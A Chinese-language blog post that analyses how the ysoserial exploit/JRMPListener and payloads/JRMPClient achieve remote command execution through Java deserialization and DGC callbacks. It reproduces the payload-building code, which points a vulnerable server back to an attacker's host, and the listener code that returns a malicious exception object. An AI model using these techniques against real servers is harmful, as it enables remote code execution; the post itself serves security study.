java 反序列化 ysoserial exploit/JRMPListener 原理剖析

目錄

0 前言

1 payloads/JRMPClient

1.1 Externalizable

1.2 生成payload

1.3 gadget鏈分析

2 exploit/JRMPListener

3 總結


 

0 前言

上一篇文章講了 《java 反序列化 ysoserial exploit/JRMPClient 原理剖析

https://blog.csdn.net/whatday/article/details/106971531

,本篇接着講一下ysoserial exploit/JRMPListener的原理,相同的思路,我們結合着payloads/JRMPClient來分析。JRMPListener的攻擊流程如下:
1、攻擊方在自己的服務器使用exploit/JRMPListener開啓一個rmi監聽

2、往存在漏洞的服務器發送payloads/JRMPClient,payload中已經設置了攻擊者服務器ip及JRMPListener監聽的端口,漏洞服務器反序列化該payload後,會去連接攻擊者開啓的rmi監聽,在通信過程中,攻擊者服務器會發送一個可執行命令的payload(假如存在漏洞的服務器中有使用org.apacje.commons.collections包,則可以發送CommonsCollections系列的payload),從而達到命令執行的結果。

1 payloads/JRMPClient

1.1 Externalizable

在講payloads/JRMPClient之前,我們先講一下Externalizable,這是java提供的一個接口,實現該接口的類就具備了可序列化功能,下面總結一下它和Serializable接口的一些相同點與不同點:
1、實現Externalizable接口的類必須重寫writeExternal(ObjectOutput out)和readExternal(ObjectInput in)兩個方法,在這兩個方法中可以自定義序列化和反序列化規則,而實現Serializable接口的類沒有需要強制實現的方法。
2、假設類中有些敏感數據,我不希望在網絡上傳輸該對象的序列化數據中包含該敏感數據,兩種接口都可以實現:
(1)Externalizable接口,在實現writeExternal(ObjectOutput out)方法時,不對敏感數據進行序列化就可以
(2)Serializable接口,使用transient關鍵字修飾敏感字段,則該字段將不會被序列化。
對比一下,使用transient關鍵字修飾其實更方便。
3、兩個各有特點,只能是根據不同的業務需求去選擇使用。
下面我寫了一個關於Externalizable的測試類,來進一步理解Externalizable:

public class Person implements Externalizable {

    private String username; //用戶名
    private String password; //密碼

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    //在序列化Person對象時,只序列化username屬性
    @Override
    public void writeExternal(ObjectOutput out) throws IOException {
        System.out.println("writeExternal is running ...");
        out.writeObject(username);
        out.close();
    }

    //反序列化Person對象時,只反序列化username屬性
    @Override
    public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
        this.username = (String)in.readObject();
        System.out.println("readExternal is running ...");
    }

    //測試
    public static void main(String[] args) throws Exception {
        //如下代碼將person對象設值後進行序列化,序列化後的數據存於字節流中
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        Person person = new Person();
        person.setUsername("zs");
        person.setPassword("123456");
        person.writeExternal(oos);

        //如下代碼從字節流中獲取序列化數據並對其進行反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Person person2 = new Person();
        person2.readExternal(ois);
        System.out.println("username=" + person2.username + " passowrd=" + person2.password);//結果爲username=zs passowrd=null
    }
}

1.2 生成payload

以下爲payloads/JRMPClient生成payload的代碼,我添加了註釋,其中通信所需的信息在後面分析中我們會看到其具體的作用。

public Registry getObject ( final String command ) throws Exception {

        String host;
        int port;
        //命令行獲取ip值與端口值
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        //以下信息都是連接JRMPListener通信所需信息
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        //這就是構造的payload,創建了一個Registry類型的代理對象,handler值爲上面創建的RemoteObjectInvocationHandler
        Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
            Registry.class
        }, obj);
        return proxy;
    }

1.3 gadget鏈分析

如下爲作者給出的gadget鏈,可以看到有兩部分,其實就是在DGCClient.registerRefs(Endpoint, List<LiveRef>)方法中,有兩個方法調用,且都對反向連接JRMPListener有作用,後面調試時可以看到。
在這裏插入圖片描述
1、根據上面的gadget鏈,我們就在UnicastRef.readExternal(ObjectInput)方法中設置斷點:
在這裏插入圖片描述
2、跟入LiveRef.read(ObjectInput var0, boolean var1)方法,可以看到通過反序列化獲取到了在生成payload時,創建的TCPEndpoint(包含要建立socket通信的ip地址與端口號)、ObjID對象(對象唯一標識),並使用這兩個對象生成了LiveRef對象(該對象的具體作用沒進行分析)。
在這裏插入圖片描述
3、繼續跟入到DGCClient.registerRefs(Endpoint, List<LiveRef>),這裏就是上面給出的gadget鏈中出現兩個分支的地方:
在這裏插入圖片描述
4、先進入DGCClient$EndpointEntry.lookup(Endpoint)方法:
在這裏插入圖片描述
5、繼續跟入DGCClient$EndpointEntry構造方法,可以看到使用前面創建的TCPEndpoint與DgcID創建了LiveRef對象,並且生成了DGCImpl_Stub代理對象,到了這裏就明白了, 其實payloads/JRMPClient也是通過DGC通信,進而反序列化惡意payload的 。最後一行代碼就是創建與JRMPListener的Socket通信,由單獨的線程負責:
在這裏插入圖片描述
6、DGCClient$EndpointEntry.lookup(Endpoint)分支分析完了,然後進入DGCClient$EndpointEntry.registerRefs(List<LiveRef>)分支如下,代碼較長,而且不重要,這裏就不貼了,直接到最後一行:
在這裏插入圖片描述在這裏插入圖片描述
7、進入DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)方法,還是直接到如下斷點位置:
在這裏插入圖片描述
8、由於下一步調用的是DGCImpl_Stub.dirty(ObjID[], long, Lease)方法,前面我們也遇到過,DGCImpl_Stub類是無法調試的,於是直接查看源碼,終於看到了熟悉的一幕,前面已經詳細分析過了,這裏就總結一下,第一個紅框是交換一些信息,說明本次是遠程調用,第二紅框依然是發送一些數據,第三個框是處理響應數據。
在這裏插入圖片描述
9、到了這裏後面的流程也很熟悉了,及時不調試,也能猜測到JRMPListener響應的惡意payload只能在下面兩個地方觸發:
(1)當響應的payload爲異常類時,在UnicastRef.invoke(java.rmi.server.RemoteCall)方法中的StreamRemoteCall.executeCall()方法中觸發的,如下,應該還記得,case1是正常,直接return,case2是發生異常時,這裏會將異常對象反序列化:
在這裏插入圖片描述
(2)當響應的類爲正常類時,則就在第八步圖中的第四個紅框中進行反序列化。
這裏後面通過調試,發現是第一種情況,也就是JRMPListener響應回來的是一個異常類,就不貼圖了,後面就分析一下exploit/JRMPListener

2 exploit/JRMPListener

由於這裏代碼量較多,因此就不一行一行寫註釋了,而且大部分都是通信中交換數據的,之前也分析過,這裏就略過通信過程,直接挑一部分重點代碼進行分析:

private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(in) {
        ObjID read;
        try {
            //這裏讀取到的是JRMPClient端發送的DgcID
            read = ObjID.read(ois);
        } catch (java.io.IOException e) {
            throw new MarshalException("unable to read objID", e);
        }

        //這裏如果判斷是否爲Dgc調用,DgcID爲[0:0:0, 2]
        if (read.hashCode() == 2) {
            ois.readInt(); // method
            ois.readLong(); // hash
            System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
        }

        System.err.println("Sending return with payload for obj " + read);

        //這裏發送81,也是爲了防止JRMPClient拋出transport return code invalid異常
        out.writeByte(TransportConstants.Return);// transport op
        ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
        //這裏發送2,就會進入分析JRMPClient時的第九步中第一種情況的case2中
        oos.writeByte(TransportConstants.ExceptionalReturn);
        new UID().write(oos);
        //這裏生成了一個異常類,其中包含一個Object類型的屬性,名爲val
        BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
        //這裏將惡意payload賦值給了val屬性,在反序列化BadAttributeValueExpException類時,val值也會被反序列化,從而觸發命令執行
        Reflections.setFieldValue(ex, "val", payload);
        //將payload發往JRMPClient端,payload會被反序列化
        oos.writeObject(ex);

        oos.flush();
        out.flush();

        this.hadConnection = true;
        synchronized (this.waitLock) {
            this.waitLock.notifyAll();
        }
    }

如上代碼註釋寫的很清楚了,這裏也明白了在分析payloads/JRMPClient時的第九步中爲什麼會進入case2。

3 總結

1、如果RMIClient請求RMIServer時的ip地址和端口號是攻擊者可控的,則都可以使用exploit/JRMPListener進行攻擊(其是通過dgc通信進行攻擊),例如RMIClient執行如下代碼連接到JRMPListener,即可遭受攻擊:

Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
Object obj = registry.lookup("xxx");

2、在一些特殊情況下,可以結合payloads/JRMPClient進行攻擊。

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章